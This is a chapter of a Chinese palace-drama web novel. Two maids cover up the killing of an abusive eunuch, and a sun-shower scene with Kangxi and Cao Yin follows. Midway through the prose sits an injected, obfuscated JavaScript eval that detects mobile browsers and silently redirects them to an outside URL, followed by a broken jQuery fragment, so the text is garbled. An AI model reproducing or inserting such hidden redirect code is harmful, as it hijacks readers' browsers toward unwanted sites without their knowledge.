32. 惊风密雨
    不过片时,红日高升,人间仿佛瞬间掌了灯,光芒顺着琉璃瓦一泻而下。

    道道金光里,有白猫和黄猫自墙根相继飞跑过。晨曦中,枝叶挂露,夏花如燃,绣坊里开始热闹起来,大屋子里的长桌前逐渐坐满了做活的宫中,人来人往,有取衣物的,有送布料的,一切画面变得明晰鲜亮。

    卫素瑶又折返回来。

    玉屏叠了衣服,三妞正准备回去睡觉,和卫素瑶在门口撞了个满怀。

    “你怎么又回来了?”

    卫素瑶低声道:“屋子里没人!”

    三妞打了个哈欠,萎靡道:“啊,沫兰不在?兴许是起来了。”她回头往堂屋里张望搜寻,并未看见沫兰。

    “她会上哪去呢?会不会是老馊肥肉...”卫素瑶忘了方总管姓什么,只记得老馊肥肉这形象的称呼。

    三妞一慌,手指了两个方向,“到附近找找,你往那我往这。”

    “再叫点人帮忙一起找?”

    三妞坚决道:“不成,万一是老馊肥肉在干坏事,只咱俩知道比较好。”

    卫素瑶点点头,心里一沉。

    两人随即分头,三妞熬了通宵,走起路晕眩气喘,因此快不起来,卫素瑶在东西六宫做事,穿的是正宗花盆底,跑着也费劲。

    两个人各怀心事转了一圈。三妞心想,沫兰可不能有事,沫兰一个人领走了多少活计啊,让她睡了多少整觉啊。卫素瑶心想,三妞说得对,沫兰漂亮又柔弱,身在底层就是兔进狼窝、任凭宰割,她不能再顾忌什么脸皮不脸皮,管她欠康熙多少人情,她回头就要找他求情,让他把沫兰调出来,不答应也得答应。

    她总觉得是因为自己的出现导致沫兰被打压进辛者库,她总觉得自己对沫兰的命运负有翻身的责任。

    太阳逐渐升高,晨光不再柔和,变得刺眼酷烈,她却开始冷得瑟瑟发抖,背后冷汗湿透衣衫。

    她很怕因为晚了一步,老馊肥肉对沫兰做了什么。她虽然脚底被打得辣疼,可能磨出了一个泡,但是两腿丝毫不敢停,不敢慢。这腿像不是自己的。

    她边跑边喊,喉咙灼烧地疼,一路往北,也不知是到了什么地方,是她从未来过的地方,在一堵矮墙后面听到呜呜人声。

    这也许是直觉,呜呜声一瞬而逝,可是卫素瑶敏锐察觉到古怪,不由分说地绕进去。

    “沫兰!沫兰!我是阿瑶!”

    她好像又听到了呜呜声。

    从前院跑到后院,她被台阶绊了一下,脚指头疼得她嘶嘶叫,扶着木柱喘了两口气,扭头就看到左前方的墙角中坐了个蓬头女子,抖如筛子,她身前压了一个人。

    卫素瑶急忙冲过去,掰开埋在女子怀里的肥胖头颅,那头颅硕大如一个长了毛发的皮球,皮球泄气变形,抬起后,下面都是血。

    卫素瑶吓得跌坐在地,“死了?”

    沫兰抖得说不了话,失神双目微一聚焦,她吸气哆嗦几下,艰难点头。

    卫素瑶一颗心吊在嗓子眼里,她瞧见沫兰怀里都是血,老太监的脖子上后边扎着一根簪子,那伤口里还在淌出鲜血。

    沫兰抖着声道:“我...我害...怕...怎么...办...办?”

    卫素瑶抽了几口气,四处看看,强迫自己镇定。

    虽然不知老太监怎么带沫兰到的这地方,但他欲行不轨,特地选鸟不拉屎的僻静处,为的便宜行事,现在却也方便抛他尸,何其讽刺。

    卫素瑶安抚沫兰:“别怕,你坐着,等我处理,你坐着,什么也不用做。”

    沫兰点点头,眼泪决堤流出,她张着嘴,似乎想要说什么,却说不出话,而后很艰难地从喉咙里爆发出一句:“阿瑶,是真的你吧?”

    “嗯?”

    “是真的你吧?还是我疯了,我疯了...想出来的你?”

    “是真的。”卫素瑶特地上前捏了捏沫兰的手,沫兰手冰凉,手上血迹半干而黏糊,靠近时能闻到一股浓重得令人作呕的血腥味。

    卫素瑶不知怎么做到这时还能挤出笑的,不过她一边笑,一边心里慌得不得了。

    她把老太监的脑袋从沫兰身上抬走,由于手上沾了血迹,滑腻腻的,一个没抓牢,沉重硕大的透露咕咚摔在地上,老太监脸着地,但是已不会喊痛。她跪在地上,颤抖着按住老太监脖子,用力把簪子拔出,血溅出来,像有人洗完手甩水在她脸上,凉丝丝的。

    她看着自己满手染红,衣染血点,觉得自己也快疯了。

    太疯狂了,她在抛尸,手上这人,是个死人啊,是个死掉的、没有呼吸、即将腐烂的肉身。死掉的人和死掉的猪牛羊没太大区别,可是卫素瑶想到也许几分钟前他还是个有情绪、会说话的人,就觉得不可思议而极端恐惧。

    她握着簪子,在院子里茫然踱了圈,最后发现中间有一口井,刚才像是瞎了一样,居然没看到这么明显的井。井是枯的,她决定把老太监丢进去。

    这老太监真是肥,血里除了铁锈味和腥味,还有股厚重的脂肪的腻味,闻之令人作呕。她抓着他的脚拖了一会儿,他的后脑勺在地上磕得一颠一颠。卫素瑶害怕看见那起伏的脸,于是停下,掀起老太监的衣服盖住他脸,这样便露出了一盘肥硕冷白的肚腩,她忽然扭过头,再也忍不住,跪地干呕,呕了一阵,不敢耽搁,继续拖。

    骄阳暴晒,空气灼热起来,一丝风也无。

    也不知道这个早上是怎么过的。

    老馊肥肉被丢进枯井,发出沉闷回响,想来这井十分深。

    卫素瑶双手撑着井口,望见里面黑洞洞的,任是打了灯也看不清井底是什么样。

    回到墙角,和沫兰两个人对坐地上,相顾发抖。

    沫兰想起什么似的,涣散而迷茫的目光遽然一收,说道:“他手...手伸进...来摸我,我...我不想...我不要...我就...。”

    “我知道,他是坏人,咱们手刃坏人,为民除害,是在做...做好事。”

    这句话像一张纸巾盖在自己裸.露于冰雪的身体上,丝毫不起遮蔽和温暖的作用。

    沫兰松了口气,点点头,“嗯。”

    卫素瑶看自己的鲜红的手,“怎么办,衣服上都是血,没地方洗。”

    沫兰怔怔复述:“怎么办。”

    “要不你在这里等我,我想办法出去找两身衣服。”

    “找两身衣服。”

    “那你躲到房子后面,别被人发现了。”

    沫兰重复说着“躲到房子后面”,但身体根本不听使唤,只知道抖。

    卫素瑶没法,只能再扶起沫兰,把她整个架起。刚刚拖过老太监,再扶沫兰就觉得格外轻。

    两人跌跌撞撞到后屋廊下,卫素瑶把她放在地上,像摆布洋娃娃,转动她身,靠墙拖动,后背贴墙,直到沫兰得到一个比较舒服的姿势。她起身时,低头看到衣服染得和雪花牛肉似的,触目惊心。

    猛然站起时头顶一阵眩晕,她扶柱立了一会儿。她的心脏咚咚咚敲击一上午,这时终于有点乏,跳动速率慢下来,聚涌头顶的血液也终于下流。

    拖着步子朝门口去时,心里盘算,倘若遇到人怎么办,怎么解释自己满身血迹?杀猪?打翻染料?没一个能说服人。

    心事团在胸口,每一桩都是分外紧急的,可是她没有思绪,她快爆炸了。

    下巴上的汗珠一滴滴落下,擦了还有,擦了还有,后来发现也不都是汗,天上在掉雨点子。

    她停了脚步,希望这雨能大一点,大一点吧,淋湿整个她,这样就能洗涮血迹了。

    她在趴在门后等,雨珠子果然一点点变重,起初落在身上毫无知觉,后来打在脸上居然有点疼,一下子收不住似的,噼噼啪啪,劈头盖脸砸下来。

    她抬头,看见太阳有一半藏在云层后,朝人间不由分说地射下几道耀目金光,一块厚如棉毯的云,硕大沉重地铺开,一团团棉絮飞速往西漂去,云下有雨不住地落。

    风起云涌,暴雨艳阳。

    卫素瑶看得目眩神迷,满脸是水。

    这雨来得真好。

    在这个时候,她居然鬼使神差地想到康熙,他一直愁雨,这会想必很高兴吧。

    -

    “下雨了!”

    “下雨啦!”

    “恭喜万岁爷,天降甘霖,泽被苍生!”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163649|138799||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “恭喜万岁爷!”

    大雨洗刷乾清宫的红墙黄瓦,红墙耀目如新,黄瓦更是金光锃亮,云层翻涌若海浪,在瓦上投下奔腾掠影。

    小太监们奔走欢呼,梁九功亦是含笑侍立廊下。

    曹寅推门而出,闲步到了檐下,隔着雨帘仰头望天,而后伸手接雨,雨珠任性击打指尖和虎口,雨点溅在衣袖和衣摆上,大块的阳光落在他肩头,桃花眼逐渐水汽弥漫,他回头向里道:“是太阳雨,皇上不出来瞧瞧么?”

    康熙刚拟了奏折,忽然感到一阵湿气和土腥气从门外扑进来,他不疾不徐地搁下笔,步出阁外,站定曹寅身边,遥望前方,脸上带笑,“好雨。”

    院中摆有几大缸白莲花,雨点子噼啪砸在圆叶和白花上,花朵茎叶只是稍稍一颤,而自挺立不折,白莲经雨水润泽,在阳光下剔透生光。

    曹寅轻轻道:“惊风乱飐芙蓉水,密雨斜侵薜荔墙。”

    康熙唇角扬起,“这雨得下一会儿,你且不急着走,同我再喝两杯茶。”

    曹寅笑道:“已经坐了许久,不敢再叨扰皇上啦。”说着拱手欲作别。

    康熙手臂搭上曹寅肩头,并不让他走,忽然低说:“子清,咱俩还是好兄弟么?”

    曹寅一愣,旋即笑道:“怎么问这个,吓臣一跳,”顿了顿,认真低语,“这种话以后皇上休问,臣始终追随你,此心不疑。”

    康熙“嗯”了一声,只是神色晦暗不明。

    曹寅回转身道:“下雨你该高兴才是,”他侧过脸望着雨中殿宇,荡开个不羁的笑,“臣也当高兴,什么劳什子科举,今后不用作八股,再好不过!”

    康熙见他笑容真恳,叹息一声道:“你能想开便好,后天咱们去南苑打猎,我瞧瞧你骑射长进了没有。”

    曹寅扬眉轻笑两声,利落躬身作个揖,转身沿廊而去。

    -

    卫素瑶被雨浇透了,但是她不敢回延禧宫,准备回绣房找三妞要件衣服,如果三妞碰不到,她就去找冯姑姑。别的人都不敢惊动,都是牵一发动全身的存在。

    她虽然并不十分清楚这路要怎么走最快,但是往南走总不错的。

    下这样大的雨,路上自然没有行人,侍卫也只在重要关口把手,此时行走的偏僻处更不见一人。

    她一边走一边用手扫去脸上的雨水,可是袖子吸饱了水,一揩之下脸上更湿。雨太密,四处都是噼里啪啦的鼓点声,非常噪,非常湿,像是兜头罩了一张油纸袋子,她视线模糊,呼吸都有点透不过。

    就这样走着,耳边倏忽一静,头顶的雨骤然停却,鼻尖闻到潮湿而清淡的草木味道,她抬头望,有一把青色油纸伞遮去天日。

    卫素瑶想不到这时候还有人在外面,简直像幻觉。回头看见是个高瘦少年,正困惑看着她,因着把伞移到她头顶,他自己的肩膀倒被雨点洇湿了,一块又一块,而后连成一片,深蓝色侍卫服吸着皮肤,微垂的睫毛上挂了细小水珠,眼睛里映出一片暗青色,他整个人都带着蒙蒙水汽。

    卫素瑶觉得他眼熟,但是脑子稀里糊涂发胀,一味只想着回去拿两身干净衣服,毫无精力去想别的。

    “喂,你去哪里,我送你。”

    卫素瑶怔愣,大脑宕机。

    曹寅愈加困惑,歪了头,“嗯?”

    卫素瑶从伞下退开,雨又噼里啪啦砸向她,“不用,我自己走。”

    这个时候有人帮助自己,真是来的不巧!她不想遇到任何目标以外的人物,还要动脑筋应付他们,她显然没有这个精力。

    伞却转回到她头上,边缘飞起几星珍珠光点。

    曹寅人在伞下,“你自己走?落汤鸡渡河啊?”说着自己先吃吃笑起来。

    卫素瑶摇摇头,坚决地跑开,贴墙而走。

    伞再度出现在她头顶。

    卫素瑶道:“别过来。”

    我没力气应付你。

    “我也不想跟着你,可是你若病倒了,我又不能见死不救,只会更麻烦。”

    卫素瑶伸手道:“你把伞借我,你走。”

    曹寅仿佛听了非常好笑的笑话,笑开了,翘着唇,打掉她手道:“我可不是菩萨。”